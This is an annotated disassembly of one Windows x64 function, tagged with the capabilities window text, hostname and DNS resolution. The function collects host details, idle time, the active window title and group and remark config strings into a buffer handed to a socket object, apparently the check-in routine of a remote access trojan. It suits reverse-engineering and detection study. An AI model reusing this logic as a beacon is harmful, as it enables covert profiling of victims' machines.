Function at 0x140001bc0
Capabilities:
Get graphical window text
Get hostname
Resolve dns

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x4b8]
sub rsp, 0x590
mov qword [rbp - 0x78], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov r15, r8
mov r14d, edx
mov r13, rcx
mov ecx, 0xf90
call fcn.140044ddc
mov rbx, rax
xor edx, edx
mov r8d, 0xf90
mov rcx, rax
call fcn.140047310
mov byte [rbx], 3
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp - 0x70]
call fcn.140047310
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x90]
call fcn.140047310
mov edx, 0x100
lea rcx, [rbp + 0x90]
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rbp + 0x90]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rsi, rax
xor edi, edi
test rax, rax
je 0x140001cf8
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx]
mov ecx, dword [rdx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
mov edx, 0x100
lea rcx, [rbp - 0x70]
call fcn.140045374
lea r8, [0x1400870c0]
mov edx, 0x100
lea rcx, [rbp - 0x70]
call fcn.140045374
mov r11, qword [rsi + 0x18]
movsx rax, word [rsi + 0x12]
add rax, qword [r11]
cmp rax, qword [rsi]
jae 0x140001cf8
nop
add rdi, 8
mov rax, qword [rdi + r11]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
mov edx, 0x100
lea rcx, [rbp - 0x70]
call fcn.140045374
lea r8, [0x1400870c0]
mov edx, 0x100
lea rcx, [rbp - 0x70]
call fcn.140045374
mov r11, qword [rsi + 0x18]
movsx rax, word [rsi + 0x12]
add rax, qword [rdi + r11]
cmp rax, qword [rsi]
jb 0x140001cb0
xor esi, esi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
or r9d, 0xffffffff
lea r8, [rbp - 0x70]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea r12, [rbx + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r12
or r9d, 0xffffffff
lea r8, [rbp - 0x70]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [rbp + 0x4c0], 8
lea rcx, [rbp + 0x4c0]
call qword [sym.imp.USER32.dll_GetLastInputInfo]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rbp + 0x4c4]
lea rcx, [rbx + 0x200]
lea edx, [rsi + 0xa]
cmp eax, 0x2bf20
lea r8, [0x1400870cc]
jbe 0x140001d76
lea r8, [0x1400870d0]
call fcn.140045454
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x140001d9c
lea rdx, [rbx + 0x598]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rcx, [rbx + 0x796]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r8, [rbx + 0x796]
lea rdx, str.FENZU
lea rcx, str.main
call fcn.140002fb0
cmp eax, 1
jge 0x140001de0
lea r8, [0x14009a44c]
mov edx, gethostbyname
lea rcx, [rbx + 0x796]
call fcn.140045454
lea rcx, [rbx + 0x7fa]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r8, [rbx + 0x7fa]
lea rdx, str.BEIZHU
lea rcx, str.main
call fcn.140002fb0
cmp eax, 1
jge 0x140001e24
lea r8, [0x14009a4b0]
mov edx, gethostbyname
lea rcx, [rbx + 0x7fa]
call fcn.140045454
lea rdx, [rbx + 0x85e]
mov r9d, 0xa
lea r8d, [r9 + 0x28]
mov ecx, r14d
call fcn.1400455cc
mov word [rbp + 0x290], si
xor edx, edx
mov r8d, 0x1fe
lea rcx, [rbp + 0x292]
call fcn.140047310
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x140001e82
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140002df0
call fcn.140003180
mov rdx, rax
mov qword [rsp + 0x78], 7
mov qword [rsp + 0x70], rsi
mov word [rsp + 0x60], si
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0x60]
call fcn.140003a50
nop
lea r9, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae r9, qword [rsp + 0x60]
lea r8, [rbp + 0x290]
lea rdx, str._s__s
lea rcx, [rbx + 0x9a8]
call fcn.140004060
call fcn.140002820
lea rcx, [rbx + 0xa16]
mov edx, 0xa
test eax, eax
lea r8, [0x140087124]
jne 0x140001f09
lea r8, [0x140087128]
call fcn.140045454
call fcn.140002530
mov rdx, rax
lea rcx, [rbx + 0xc28]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [rsp + 0x5c]
movzx eax, word [rsp + 0x5a]
movzx edi, word [rsp + 0x58]
movzx r8d, word [rsp + 0x56]
movzx r10d, word [rsp + 0x52]
movzx r9d, word [rsp + 0x50]
lea rcx, [rbx + 0x8c2]
mov dword [rsp + 0x40], edx
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], r10d
mov r8, r15
lea rdx, [0x140087130]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbx + 0x926]
lea rdx, [0x140087178]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x190]
call qword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
lea r9, [rbx + 0x318]
lea rdx, [rbx + 0x214]
lea rcx, [rbx + 0xf2e]
lea r8, [rbx + 0x9a8]
test eax, eax
lea rax, [rbx + 0xa0c]
je 0x140001fcd
lea rdi, [rbp + 0x194]
jmp 0x140001fcf
xor edi, edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
call fcn.140002040
mov rax, qword [r13]
mov r8d, 0xf90
mov rdx, rbx
mov rcx, r13
call qword [rax + reloc.WS2_32.dll_recv]
mov edi, eax
mov rcx, rbx
call fcn.140044950
nop
cmp qword [rsp + 0x78], 8
jb 0x140002013
mov rcx, qword [rsp + 0x60]
call fcn.140044950
mov eax, edi
lea r11, [rsp + 0x590]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret